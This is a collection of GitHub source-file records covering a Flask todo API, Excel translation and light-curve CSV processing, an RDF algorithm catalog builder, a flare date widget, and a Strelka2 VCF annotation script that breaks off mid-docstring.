+{"seq_id":"39755317912","text":"import json\nfrom flask.json import jsonify\nfrom flask import request\nfrom project.app.blueprints.todo import TodoBluePrint\nfrom project.app.utils.auth import authenticate\n\ntodos = TodoBluePrint('todos', __name__)\n\n@todos.route('/',methods=[\"GET\"])\n@authenticate\ndef handle_all(**kwargs):\n user_id = kwargs[\"user\"][\"id\"]\n response = todos.service.list(user_id)\n return jsonify({\"todos\":response,\"success\":True})\n\n\n@todos.route('/add',methods=[\"POST\"])\n@authenticate\ndef create(**kwargs):\n payload = request.get_json()\n if payload['todo'] == '':\n return jsonify({\"error\": \"Pydo nothing really?!\",\"success\": False})\n \n response = todos.service.create({**payload,'user':{**kwargs[\"user\"]}})\n return jsonify({\"todo\": response,\"success\":True})\n\n\n@todos.route('/edit',methods=[\"PUT\"])\n@authenticate\ndef update(**kwargs):\n payload = request.get_json()\n\n if payload['id'] == '':\n return jsonify({\"error\": \"id not found\",\"success\": False})\n\n response = todos.service.update(payload)\n\n return jsonify({\"todo\": response,\"success\":True})\n\n\n@todos.route('/clear',methods=[\"DELETE\"])\n@authenticate\ndef clear(**kwargs):\n payload = request.get_json()\n response = todos.service.delete_all({**payload,'user':{**kwargs[\"user\"]}})\n return jsonify({\"todos\": response,\"success\":True})\n\n\n@todos.route('/delete',methods=[\"DELETE\"])\n@authenticate\ndef delete(**kwargs):\n payload = request.get_json()\n\n if payload['id'] == \"\":\n return jsonify({\"error\": \"id not found\",\"success\":False})\n\n deleted = todos.service.delete(payload['id'])\n\n return jsonify({\"message\": 'Todo Deleted', \"id\": payload[\"id\"],\"success\":True,'todo':deleted })","repo_name":"Josep1992/tweetdo","sub_path":"api/project/app/controllers/todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"73872490115","text":"import pandas as pd\r\nimport tkinter as tk\r\nfrom tkinter import filedialog\r\nimport openpyxl\r\nfrom openpyxl import load_workbook\r\n\r\n#pd.options.mode.chained_assignment = None\r\nroot = tk.Tk()\r\nroot.withdraw()\r\n\r\n# Asks users to choose the both excel files from their system.\r\nfilepath = filedialog.askopenfilename(title=\"Choose your excel file\")\r\ntranslations_path = filedialog.askopenfilename(title=\"Choose translation file\")\r\n\r\nfile = pd.ExcelFile(filepath)\r\nsheets = file.sheet_names\r\n\r\ntranslations = pd.ExcelFile(translations_path)\r\ntsheets = translations.sheet_names\r\n\r\n\r\nwb = load_workbook(filepath)\r\n\r\n\r\nfor sheet in sheets:\r\n print(\"Now working on \"+sheet+\" sheet\")\r\n page = file.parse(sheet)\r\n lenght, widht = page.shape\r\n\r\n # ws is our worksheet that the work on in this iteration\r\n ws = wb[sheet]\r\n for tsheet in tsheets:\r\n print(\"Now you are working on \" + tsheet + \" translation sheet\")\r\n tpage = translations.parse(tsheet)\r\n tlenght, twidth = tpage.shape\r\n\r\n # Both 'Inv. No.' and 'ObjectNumber' is the name of the columns at each excel file.\r\n for i in range(1, lenght):\r\n for k in range(1, tlenght):\r\n a = page['Inv. No.'][i]\r\n b = tpage['ObjectNumber'][k]\r\n\r\n # Again 'Description_EN' and 'Remarks' are the name of the columns which contains translation text.\r\n if a == b:\r\n print(\"Found a match and will transfer the translation.\")\r\n ws['AC'+str(i+2)] = tpage['Description_EN'][k]\r\n ws['AD'+str(i+2)] = tpage['Remarks'][k]\r\n\r\nwb.save(filepath)\r\n","repo_name":"cihanandac/TranslateTransfer","sub_path":"TranslateTransfer.py","file_name":"TranslateTransfer.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15796249244","text":"from collections import defaultdict\n\nimport gc\nimport os\nimport psutil\n\n\ndef currentMemUsageMb(residentOnly=True):\n if residentOnly:\n return psutil.Process().memory_info().rss / 1024**2\n else:\n return psutil.Process().memory_info().vms / 1024**2\n\n\ndef gc_object_types_histogram():\n \"\"\"Returns a map of types to the cound of how many such objects the GC is managing.\n\n Return Type: defaultdict( ObjectType: type -> count: int )\n \"\"\"\n dd = defaultdict(int)\n gc_objects = gc.get_objects()\n for o in gc_objects:\n dd[type(o)] += 1\n\n total = sum([v for v in dd.values()])\n assert total == len(gc_objects), (total, len(gc_objects))\n\n return dd\n\n\ndef diff_object_types_histograms(new_histo, old_histo):\n \"\"\"Returns a new histogram that is the difference of it inputs\"\"\"\n all_keys = set(new_histo.keys()).union(old_histo.keys())\n\n dd = {k: new_histo[k] - old_histo[k] for k in all_keys if new_histo[k] - old_histo[k] != 0}\n return dd\n\n\ndef sort_by_value(histogram, topK=None, filterFn=None):\n \"\"\"Return a sorted list of (value, tag) pairs from a given histogram.\n\n If filter is specified the results are filtered using that function\n If topK is specified, only return topK results\n \"\"\"\n res = reversed(\n sorted([(val, tag) for tag, val in histogram.items()], key=lambda pair: pair[0])\n )\n\n if filter is not None:\n res = filter(filterFn, res)\n\n if topK is not None:\n return list(res)[:topK]\n else:\n return list(res)\n\n\ndef log_cells_stats(cells, logger, indentation=0):\n indent = \" \" * indentation\n\n def log(msg):\n logger(indent + msg)\n\n log(\"#####################################################\")\n log(\"# Cells structure DEBUG Log\")\n log(\"# - dirty: {}\".format(len(cells._dependencies._dirtyNodes)))\n log(\"# - need bcast: {}\".format(len(cells._nodesToBroadcast)))\n log(\"# - cells: {}\".format(len(cells._cells)))\n log(\"# - known children: {}\".format(len(cells._cellsKnownChildren)))\n log(\"# - to discard: {}\".format(len(cells._nodeIdsToDiscard)))\n log(\"# - subscribed-to keys: {}\".format(len(cells._dependencies._subscribedCells)))\n log(\"#####################################################\")\n\n\nownDir = os.path.dirname(os.path.abspath(__file__))\n","repo_name":"APrioriInvestments/object_database","sub_path":"object_database/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"}
+{"seq_id":"28657459224","text":"import datetime, logging\nfrom flare import html5\nfrom flare.viur import BoneSelector\nfrom flare.config import conf\nfrom flare.i18n import translate\nfrom .base import BaseBone, BaseEditWidget, BaseViewWidget\n\n\nclass DateEditWidget(BaseEditWidget):\n style = [\"flr-value\", \"flr-value--date\"]\n\n def createWidget(self):\n self.serverToClient = []\n\n self.hasDate = self.bone.boneStructure.get(\"date\", True)\n self.hasTime = self.bone.boneStructure.get(\"time\", True)\n\n self.dateInput = None\n self.timeInput = None\n\n tpl = html5.Template()\n # language=HTML\n tpl.appendChild(\n \"\"\"\n\t\t\t\t\t
\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
\n\t\t\t\t\"\"\",\n hasDate=self.hasDate,\n hasTime=self.hasTime,\n bindTo=self,\n )\n\n if self.hasDate:\n self.serverToClient.append(\"%d.%m.%Y\")\n\n if self.hasTime:\n self.serverToClient.append(\"%H:%M:%S\")\n\n return tpl\n\n def updateWidget(self):\n if self.hasDate:\n self.dateInput[\"required\"] = self.bone.required\n\n if self.bone.readonly:\n self.dateInput.disable()\n else:\n self.dateInput.enable()\n\n if self.hasTime:\n self.timeInput[\"required\"] = self.bone.required\n\n if self.bone.readonly:\n self.timeInput.disable()\n else:\n self.timeInput.enable()\n\n def unserialize(self, value=None):\n if value:\n\n # core sends iso date since PR240\n # https://github.com/viur-framework/viur-core/pull/240\n try:\n value = datetime.datetime.fromisoformat(value)\n except:\n try:\n value = datetime.datetime.strptime(\n value, \" \".join(self.serverToClient)\n )\n except Exception as e:\n logging.exception(e)\n value = None\n\n if value:\n if self.dateInput:\n self.dateInput[\"value\"] = value.strftime(\"%Y-%m-%d\")\n\n if self.timeInput:\n self.timeInput[\"value\"] = value.strftime(\"%H:%M:%S\")\n\n def serialize(self):\n value = datetime.datetime.strptime(\"00:00:00\", \"%H:%M:%S\")\n haveTime = False\n haveDate = False\n\n if self.dateInput:\n if self.dateInput[\"value\"]:\n try:\n date = datetime.datetime.strptime(\n self.dateInput[\"value\"], \"%Y-%m-%d\"\n )\n value = value.replace(\n year=date.year, month=date.month, day=date.day\n )\n haveDate = True\n\n except Exception as e:\n logging.exception(e)\n else:\n haveDate = True\n\n if self.timeInput:\n if self.timeInput[\"value\"]:\n if len(self.timeInput[\"value\"].split(\":\")) < 3:\n self.timeInput[\"value\"] = self.timeInput[\"value\"] + \":00\"\n try:\n time = datetime.datetime.strptime(\n self.timeInput[\"value\"], \"%H:%M:%S\"\n )\n value = value.replace(\n hour=time.hour, minute=time.minute, second=time.second\n )\n haveTime = True\n\n except Exception as e:\n logging.exception(e)\n else:\n # date without time is OK!\n haveTime = haveDate and self.dateInput\n else:\n haveTime = True\n\n if haveDate and haveTime:\n return value.strftime(\" \".join(self.serverToClient))\n\n return \"\"\n\n\nclass DateViewWidget(BaseViewWidget):\n def unserialize(self, value=None):\n if value:\n serverToClient = []\n\n if self.bone.boneStructure.get(\"date\", True):\n serverToClient.append(\"%d.%m.%Y\") # fixme: Again german format??\n\n if self.bone.boneStructure.get(\"time\", True):\n serverToClient.append(\"%H:%M:%S\")\n\n try:\n try:\n self.value = datetime.datetime.fromisoformat(value)\n except:\n self.value = datetime.datetime.strptime(\n value or \"\", \" \".join(serverToClient)\n )\n\n value = self.value.strftime(\n translate(\"vi.bone.date.at\").join(serverToClient)\n ) # fixme: hmm...\n except:\n value = \"Invalid Datetime Format\"\n\n self.replaceChild(html5.TextNode(value or conf[\"emptyValue\"]))\n\n\nclass DateBone(BaseBone):\n editWidgetFactory = DateEditWidget\n viewWidgetFactory = DateViewWidget\n\n @staticmethod\n def checkFor(moduleName, boneName, skelStructure, *args, **kwargs):\n return skelStructure[boneName][\"type\"] == \"date\" or skelStructure[boneName][\n \"type\"\n ].startswith(\"date.\")\n\n\nBoneSelector.insert(1, DateBone.checkFor, DateBone)\n","repo_name":"viur-framework/flare","sub_path":"flare/viur/bones/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"61"}
+{"seq_id":"38538310734","text":"\"\"\"\n Credit_card_bal_gt_limit_pandas_2.py, just explored web to get glimpse of Pandas and used this to excercise\n git and github commands. Instructions are great.\n I needed to issue these commands to identify myself so git know who is committing the changes\n\n git config --global user.email \"you@example.com\"\n git config --global user.name \"Your Name\"\n\"\"\"\nimport pandas as pd\n\ndim_card_details_amex = pd.DataFrame({\n 'card_id': [0, 1],\n 'user_id': [0, 1],\n 'card_type': ['Platnium', 'Gold'],\n 'account_open_date': ['9/102', '7/101'],\n 'card_expiry': ['12/1/22', '11/1/23'],\n 'card_limit': [50000, 30000]\n})\n\nfact_daily_transactions_amex = pd.DataFrame({\n 'transaction_date': ['2013-05-01 00:00:00', '2013-05-02 00:00:00', '2013-05-03 00:00:00'],\n 'card_id': [0, 1, 1],\n 'user_id': [0, 1, 1],\n 'amount': [5335.76, 2500.00, 31000.00],\n 'transaction_type': ['Swipe Transaction', 'Online Purchase', 'Online Purchase'],\n 'merchant_city': ['Monterey Park', 'San Francisco', 'Los Angeles'],\n 'merchant_state': ['CA', 'CA', 'NV']\n})\n\n# Rename 'user_id' column to 'transaction_user_id' in fact_daily_transactions_amex\nfact_daily_transactions_amex.rename(columns={'user_id': 'transaction_user_id'}, inplace=True)\n\n# Merge DataFrames with 'user_id' included in 'on' parameter\nmerged_data = pd.merge(\n fact_daily_transactions_amex,\n dim_card_details_amex[['card_id', 'user_id', 'card_type', 'card_limit']],\n on='card_id'\n)\nprint('---- columns of dataframe: merged_data ----')\n# _ = [print(column) for column in merged_data.columns]\nprint(f'1. merged_data = {merged_data.head(5)}\\n')\n\n# Calculate total transactions for each card including 'card_type' and 'merchant_city' as a list\ntotal_transactions = merged_data.groupby(['user_id', 'card_id', 'card_type', 'card_limit'], as_index=False).agg(\n {'amount': 'sum', 'merchant_city': list})\nprint(f'2. total_transactions {total_transactions.head(5)}\\n')\n\n# Identify cards that have exceeded their limit\nexceeded_limit_cards = total_transactions[total_transactions['amount'] > total_transactions['card_limit']]\nprint(f'3. exceeded limit_cards: {exceeded_limit_cards.head(5)}')\n\n# Display the results\nfor index, row in exceeded_limit_cards.iterrows():\n user_id = row['user_id']\n card_id = row['card_id']\n card_type = row['card_type']\n merchant_cities = row['merchant_city']\n total_transaction_amount = row['amount']\n card_limit = row['card_limit']\n print(\n f\"User ID: {user_id}, Card ID: {card_id}, Card Type: {card_type}, \"\n f\"Merchant Cities: {', '.join(merchant_cities)}, \"\n f\"Total transactions on the card: {total_transaction_amount}, Card Limit: {card_limit}\")\n","repo_name":"ashvinnj/sep23test","sub_path":"Credit_card_bal_gt_limit_pandas_2.py","file_name":"Credit_card_bal_gt_limit_pandas_2.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"8637631878","text":"from glob import glob\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport functools\r\n\r\nimport sys\r\nsys.path.append('../')\r\nfrom source_names_dict import source_names_dict\r\n\r\n\r\ndef get_csv_dict(csv_path):\r\n csv_dict = {}\r\n # Get path\r\n csv_dict['path'] = csv_path\r\n #csv_dict['df'] = pd.read_csv(csv_path, dtype={'obsID':str})\r\n \r\n csv_path = csv_path.split('/')[-1]\r\n \r\n # Get Prefix\r\n if 'curve_nosys' in csv_path:\r\n csv_dict['prefix'] = 'curve_nosys'\r\n elif 'hardrat' in csv_path:\r\n csv_dict['prefix'] = 'hardrat'\r\n \r\n # Get mode\r\n if 'PC' in csv_path:\r\n csv_dict['mode'] = 'PC'\r\n elif 'WT' in csv_path:\r\n csv_dict['mode'] = 'WT'\r\n \r\n # Get incbad\r\n if 'incbad' in csv_path:\r\n csv_dict['incbad'] = True\r\n elif 'incbad' not in csv_path:\r\n csv_dict['incbad'] = False\r\n \r\n # get UL\r\n if 'UL' in csv_path:\r\n csv_dict['UL'] = True\r\n elif 'UL' not in csv_path:\r\n csv_dict['UL'] = False\r\n \r\n # get band\r\n if 'HARD' in csv_path:\r\n csv_dict['band'] = 'HARD'\r\n elif 'SOFT' in csv_path:\r\n csv_dict['band'] = 'SOFT'\r\n elif 'HR' in csv_path:\r\n csv_dict['band'] = 'HR'\r\n else:\r\n csv_dict['band'] = 'FULL'\r\n return csv_dict\r\n\r\n# Fix glob square bracket issue\r\nto_replace = {'[':'[[]',\r\n ']':'[]]'}\r\n\r\nfor simbad_name, local_name in source_names_dict.items():\r\n simbad_name_glob = simbad_name.translate(str.maketrans(to_replace)) # Used to fix globbing square brackets\r\n curve_nosys_files = glob(f'UKSSDC/{simbad_name_glob}/*/*/*curve_nosys*.csv')\r\n hardrat_files = glob(f'UKSSDC/{simbad_name_glob}/*/*/*hardrat*.csv')\r\n\r\n\r\n \r\n print(f'{simbad_name:<40} curve_nosys_files={len(curve_nosys_files)} hardrat_files={len(hardrat_files)}')\r\n \r\n if len(curve_nosys_files) == 0:\r\n print('No csv files, loop continue...')\r\n continue\r\n \r\n # Get CSV dicts\r\n curve_nosys_dicts = [get_csv_dict(csv) for csv in curve_nosys_files]\r\n hardrat_dicts = [get_csv_dict(csv) for csv in hardrat_files]\r\n\r\n dfs_curve_nosys = []\r\n for d in curve_nosys_dicts:\r\n print(d)\r\n df = pd.read_csv(d['path'], dtype={'obsID':str})\r\n df['MODE'] = d['mode']\r\n df['BAD'] = d['incbad']\r\n df['UL'] = d['UL']\r\n df['BAND'] = d['band']\r\n dfs_curve_nosys.append(df)\r\n \r\n # Merge dataframes\r\n df_merge = functools.reduce(lambda left,right: pd.merge(left, right, how='outer'), dfs_curve_nosys)\r\n\r\n # Remove duplicate obsIDs, keeping values with bad == False\r\n df_merge = df_merge.sort_values('BAD')\r\n df_merge = df_merge.drop_duplicates('obsID', keep='first')\r\n\r\n # Re-sort by MJD\r\n df_merge = df_merge.sort_values('MJD').reset_index(drop=True)\r\n \r\n print(df_merge)\r\n curve_nosys_savefile = f'lightcurves/xrt/{simbad_name},curve_nosys_join.csv'\r\n print(f'Saving file to: {curve_nosys_savefile}')\r\n df_merge.to_csv(curve_nosys_savefile, index=False)\r\n \r\n \r\n print('-'*50 + ' NOW DOING HARDRAT' + '-'*50)\r\n \r\n \r\n dfs_hardrat = []\r\n for d in hardrat_dicts:\r\n print(d)\r\n df = pd.read_csv(d['path'], dtype={'obsID':str})\r\n df['MODE'] = d['mode']\r\n df['BAD'] = d['incbad']\r\n df['UL'] = d['UL']\r\n df['BAND'] = d['band']\r\n dfs_hardrat.append(df)\r\n \r\n \r\n # Merge dataframes\r\n df_merge = functools.reduce(lambda left,right: pd.merge(left, right, how='outer'), dfs_hardrat)\r\n print(df_merge)\r\n df_merge = df_merge.sort_values('BAD')\r\n df_merge = df_merge.drop_duplicates(['obsID', 'BAND'], keep='first')\r\n # Remove duplicate obsIDs, keeping values with bad == False\r\n # df_merge = df_merge.sort_values('BAD')\r\n # df_merge = df_merge.drop_duplicates('obsID', keep='first')\r\n\r\n # Re-sort by MJD\r\n df_merge = df_merge.sort_values('MJD').reset_index(drop=True)\r\n print(df_merge)\r\n\r\n curve_nosys_savefile = f'lightcurves/xrt/{simbad_name},hardrat_join.csv'\r\n print(f'Saving file to: {curve_nosys_savefile}')\r\n df_merge.to_csv(curve_nosys_savefile, index=False)\r\n \r\n \r\n print('='*100)\r\n","repo_name":"nx1/anticorr_data","sub_path":"8_join_xrt_csv_files.py","file_name":"8_join_xrt_csv_files.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"28604226883","text":"from rdflib import Graph, URIRef, Literal\nfrom rdflib.namespace import Namespace, RDF, OWL, SKOS, RDFS, DCTERMS\nfrom rdflib.namespace import DefinedNamespace, Namespace\nimport json\nimport pandas as pd\n\n\nclass MEX_ALGO(DefinedNamespace):\n _fail = True\n\n # http://www.w3.org/2000/01/rdf-schema#Class\n HyperParameter: URIRef\n AlgorithmClass: URIRef\n Algorithm: URIRef\n\n _NS = Namespace(\"http://mex.aksw.org/mex-algo#\")\n\n\ndef make_uri(value):\n return (value[0].upper() + value[1:]).replace(\" \", \"\").replace(\"(\", \"_\").replace(\")\", \"_\").replace(\"'\", \"\")\n\n\n# load stubs\n# load parameter descriptions\n\ng = Graph()\ng.bind('mex-algo', MEX_ALGO)\nSML = Namespace(\"http://simple-ml.de/rdf#\")\nDBR = Namespace(\"http://dbpedia.org/resource/\")\nDBPEDIA_DE = Namespace(\"http://de.dbpedia.org/resource/\")\nWD = Namespace(\"http://www.wikidata.org/entity/\")\nDBO = Namespace(\"http://dbpedia.org/ontology/\")\n\ndbpedia_namespaces = {\"en\": DBR, \"de\": DBPEDIA_DE}\n\ng.bind('sml', SML)\ng.bind('dcterms', DCTERMS)\ng.bind('owl', OWL)\ng.bind('skos', SKOS)\n\nlanguages = [\"en\", \"de\"]\n\n# load blacklist of ignored algorithms\nalgorithms_blacklist = set(line.strip() for line in open(\n '../../../data_catalog/ml_processes_catalog/algorithms_blacklist.csv'))\n\nid_to_ref = dict()\nall_parents = dict()\nwith open('../../../data_catalog/ml_processes_catalog/algorithms.json') as json_file:\n data = json.load(json_file)\n\n for algorithm_id in data:\n\n algorithm_json = data[algorithm_id]\n dbpedia_id = algorithm_json['dbpedia_id']\n\n if dbpedia_id in algorithms_blacklist:\n continue\n\n print(algorithm_json)\n\n pref_labels = dict()\n\n dbpedia_ids = algorithm_json['dbpedia_ids']\n\n algorithm_ref = SML[make_uri(dbpedia_ids[\"en\"][0])]\n\n print(\"algorithm_id:\", algorithm_id)\n id_to_ref[int(algorithm_id)] = algorithm_ref\n\n g.add((algorithm_ref, RDF.type, OWL.Class))\n\n if \"parents\" not in algorithm_json:\n g.add((algorithm_ref, RDF.type, MEX_ALGO.AlgorithmClass))\n else:\n all_parents[int(algorithm_id)] = algorithm_json[\"parents\"]\n\n for dbpedia_language in dbpedia_ids:\n for dbpedia_id in dbpedia_ids[dbpedia_language]:\n pref_labels[dbpedia_language] = dbpedia_id.replace(\"_\", \" \")\n g.add((algorithm_ref, OWL.sameAs, dbpedia_namespaces[dbpedia_language][dbpedia_id]))\n\n # Wikidata ID\n if 'wikidata_id' in algorithm_json:\n wikidata_id = algorithm_json['wikidata_id']\n g.add((algorithm_ref, OWL.sameAs, WD[wikidata_id]))\n\n longest_descriptions = dict()\n\n # descriptions\n if 'descriptions' in algorithm_json:\n descriptions = algorithm_json['descriptions']\n for description_language in descriptions:\n for description in descriptions[description_language]:\n g.add((algorithm_ref, DCTERMS.description, Literal(description, lang=description_language)))\n if description_language not in longest_descriptions or len(\n longest_descriptions[description_language]) < len(description):\n longest_descriptions[description_language] = description\n\n shortest_abbreviations = dict()\n\n # labels\n labels = algorithm_json['labels']\n for label_language in labels:\n for label in labels[label_language]:\n if label.isupper() and len(label) <= 10:\n g.add((algorithm_ref, SML.abbreviation, Literal(label, lang=label_language)))\n if label_language not in shortest_abbreviations or len(\n shortest_abbreviations[label_language]) > len(label):\n shortest_abbreviations[label_language] = label\n else:\n g.add((algorithm_ref, RDFS.label, Literal(label, lang=label_language)))\n\n # aliases\n if 'aliases' in algorithm_json:\n aliases = algorithm_json['aliases']\n for alias_language in aliases:\n for alias in aliases[alias_language]:\n if alias.isupper() and len(alias) <= 10:\n g.add((algorithm_ref, SML.abbreviation, Literal(alias, lang=alias_language)))\n if alias_language not in shortest_abbreviations or len(\n shortest_abbreviations[alias_language]) > len(alias):\n shortest_abbreviations[alias_language] = alias\n else:\n g.add((algorithm_ref, DCTERMS.alternative, Literal(alias, lang=alias_language)))\n\n # prefLabel\n for pref_label_language in pref_labels:\n g.add((algorithm_ref, SKOS.prefLabel, Literal(pref_labels[pref_label_language], lang=pref_label_language)))\n\n # prefAbbreviation\n for pref_abbreviation_language in shortest_abbreviations:\n g.add((algorithm_ref, SML.prefAbbreviation,\n Literal(shortest_abbreviations[pref_abbreviation_language], lang=pref_abbreviation_language)))\n\n # prefDescription\n for pref_description_language in longest_descriptions:\n g.add((algorithm_ref, SML.prefDescription,\n Literal(longest_descriptions[pref_description_language], lang=pref_description_language)))\n\n\nfor algorithm_id in all_parents:\n for parent_id in all_parents[algorithm_id]:\n g.add((id_to_ref[algorithm_id], RDFS.subClassOf, id_to_ref[parent_id]))\n\nfor s, p, o in g.triples((None, None, None)):\n print(s, p, o)\n\ng.serialize(destination=\"../../../data_catalog/ml_processes_catalog/ml_catalog.ttl\")\n\n# TODO: Error with sml:Mean_shift and sml:Mean-shift\n","repo_name":"Simple-ML/Simple-ML","sub_path":"Runtime/stdlib/python/simpleml/ml_catalog/_ml_catalog_creation.py","file_name":"_ml_catalog_creation.py","file_ext":"py","file_size_in_byte":5755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"73024698754","text":"import codecs\nfrom requests_html import HTML\nfrom collections import namedtuple\nimport csv\nimport glob\nimport time\n\nout_path = '/home/avare/repos/givetastic_recommender/data/company_profile_ndb'\n\nclass Page:\n def __init__(self):\n self.COUNTER = 0\n\n def load(self, filename):\n f = codecs.open(filename, \"r\", \"ISO-8859-15\")\n str = f.read()\n f.close()\n html = HTML(html=str.encode('ISO-8859-15'), default_encoding=\"ISO-8859-15\")\n return html\n\n def is_empty(self, page):\n target = 'No results for'\n idx = page.text.find(target)\n print(f\"Check empty {idx}\")\n flag = idx != -1\n return flag\n\n def parse_all_files(self, dir):\n lst = []\n files_lst = glob.glob(dir)\n\n ##################################\n # Initialize Batch\n ##################################\n batch = []\n batch_name = \"leo_verbs\" # move to constants..\n INIT_BATCHNR = 6\n batchnr = INIT_BATCHNR\n for i in files_lst:\n lemma, usage , is_verb = self.parse_from_file(i)\n # parse verbs\n if is_verb:\n print(f\"{i}\")\n usage = usage[0:]\n leo_res = leo.search(lemma)\n leo_en = leo.get_verbs_english_definitions(leo_res)\n leo_de = leo.de_get_verbs_german_translation(leo_res)\n nl = \"\\n\"\n nl2 = \"\\n\\n\"\n comma = \", \"\n #entry = f\"{lemma} @@@ {nl2.join(usage)} §§§\"\n print(leo_de)\n entry = f\"{lemma} @@@ {leo_en} {nl} {leo_de} {nl2} {nl2.join(usage)} §§§\"\n batch.append(entry)\n # wait some seconds\n time.sleep(5)\n # write batch\n if len(batch) == MAX_CARDS:\n self.write_to_file(batch, batchnr, batch_name)\n batch = []\n batchnr = batchnr + 1\n ## if done and nothing written ; small batch\n #if batchnr == INIT_BATCHNR:\n self.write_to_file(batch, batchnr, batch_name)\n\n\n def parse_from_file(self, filename):\n is_verb = False\n res = self.load(filename)\n term = self.parse_term(res)\n definition, is_verb = self.parse_definition(res)\n return term, definition, is_verb\n\n\n def parse_term(self,res):\n selector = '#ctl00_cC_translate_box > font > div > div > b:nth-child(1) > span'\n res = res.find(selector)\n if len(res) == 0:\n val = None\n else:\n val = res[0].text\n return val\n\n\n def parse_definition(self, res):\n lst = []\n is_verb = False\n selector = '#ctl00_cC_translate_box > font > div > div'\n res = res.find(selector)\n if len(res) > 0:\n #lst.append(len(res))\n # peek if verb\n is_verb = self.is_verb(res)\n if is_verb:\n self.COUNTER = self.COUNTER + 1\n for i in res:\n val = i.text\n lst.append(val)\n return lst, is_verb\n\n def is_verb(self,res):\n str = \"\"\n for i in res:\n str += i.text\n return \"ptp\" in str or \" vt\" in str or \" vi\" in str or \" vtr\" in str\n\n\n def write_to_file(self, lst, batchnr, filename):\n f = open(cards_path + filename + \"_\" + str(batchnr) + \".txt\", 'w')\n with f:\n for i in lst:\n f.write(f\"{i}\")\n\n\n # def write_to_file_batch(self, lst): # dumb just merge this with existing loop!!\n # batch = []\n # batchnr= 1\n # for i in range(0,len(lst)):\n # batch.append(i)\n # if len(batch) == MAX_CARDS:\n # self.write_to_file(batch,batchnr)\n # batch = []\n # batchnr = batchnr + 1\n\n\n def clean_defintion(self,lst):\n res = []\n # drop first element\n # replace newline with colon\n # limit the number of defintions to 5\n upper_val = min(5, len(lst))\n for i in range(1,upper_val):\n str = lst[i]\n str = str.replace('\\n', ' \\n ')\n res.append(str)\n return res\n\n\nif __name__ == \"__main__\":\n pg = Page()\n pg.parse_all_files('/home/avare/repos/quizlet/data/html_files_05_12_2020/*.html')\n print(f\"All Done **************** verb count is: {pg.COUNTER}\")\n\n","repo_name":"chalendony/givetastic_recommender","sub_path":"data/DELETE/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"27512369395","text":"#!/usr/bin/env python\n\n\"\"\" A script to add standard VCF fields to Strelka2\n tumor / normal output\n Strelka2 VCF should be normalized prior to this step\n Takes input VCF and names of tumor and normal samples\n Produces modified VCF\n\"\"\"\n\nimport argparse\nimport os\nimport pysam\n\ndef name_to_gt(name):\n \"\"\" Convert names like 'het' to canonical genotypes \n 'conflict' interpreted as homozygous reference\n \"\"\"\n if name == 'hom':\n return (1, 1)\n elif name == 'het':\n return (0, 1)\n elif name in ('ref', 'conflict'):\n return (0, 0)\n else:\n raise ValueError('No genotype associated with %s' % name)\n\ndef get_tumor_GT(info_sgt, ref):\n \"\"\" Produce standard GT for a Strelka2 tumor sample\n\n Args:\n info_sgt (str): value of info['SGT'] for pysam VariantRecord object\n ref (str): value of ref for pysam VariantRecord object\n Strelka2 SGT field may be e.g. 'ref->het' or 'GG->GC'\n\n Returns:\n genotype (tuple): e.g. (0, 1)\n \"\"\"\n sgt = info_sgt.split(\"->\")[-1]\n try:\n tumor_gt = name_to_gt(sgt)\n except ValueError:\n if len(set(sgt)) == 2:\n tumor_gt = (0, 1)\n elif len(set(sgt)) == 1:\n if sgt[0] == ref:\n tumor_gt = (0, 0)\n else:\n tumor_gt = (1, 1)\n else:\n raise IOError('Unhandled Strelka2 SGT value %s' % sgt)\n \n return tumor_gt\n\ndef get_normal_GT(info_nt):\n \"\"\" Produce standard GT for a Strelka2 normal sample\n\n Args:\n info_nt: value of info['NT'] for pysam VariantRecord object\n\n Returns:\n genotype (tuple): e.g. (0, 1)\n \"\"\"\n return name_to_gt(info_nt)\n\ndef get_AD(vcf_sample, ref, alts):\n \"\"\" Produce standard AD for a Strelka2 sample\n \n Args:\n vcf_sample (pysam VariantRecord sample object)\n ref (str): value of ref for pysam VariantRecord object\n alts (tuple): value of alts for pysam VariantRecord object\n Returns:\n allele depths (tuple): (ref, alt)\n \n From strelka2 docs:\n SNPs:\n refCounts = Sum values FORMAT column $REF + “U”\n (e.g. if REF=\"A\" then use the value in FORMAT/AU)\n altCounts = Sum values FORMAT column $ALT + “U”\n (e.g. if ALT=\"T\" then use the value in FORMAT/TU)\n Indels:\n tier1RefCounts = Sum values from FORMAT/TAR\n tier1AltCounts = Sume values from FORMAT/TIR\n \"\"\"\n # only indels should have TIR field\n if 'TIR' in vcf_sample:\n ref_ct = sum(vcf_sample['TAR'])\n alt_ct = sum(vcf_sample['TIR'])\n else: # SNP case\n snp_ref_key = ref[0] + \"U\"\n snp_alt_key = alts[0][0] + \"U\"\n ref_ct = sum(vcf_sample[snp_ref_key])\n alt_ct = sum(vcf_sample[snp_alt_key])\n\n return (ref_ct, alt_ct)\n\ndef get_AF(ad):\n \"\"\" Calculate allele frequency from allele depths \n \n Args:\n ad (tuple): (ref, alt) depths\n\n Returns:\n alt allele frequency (float) \n \"\"\"\n ref_counts, alt_counts = ad\n total_counts = ref_counts + alt_counts\n if not total_counts:\n return 0.0\n return alt_counts / total_counts\n\ndef create_mod_vcf(output_path, input_path, tumor_name, normal_name):\n \"\"\" Create a new VCF in which standard FORMAT fields have been\n calculated and added=based on those provided natively by 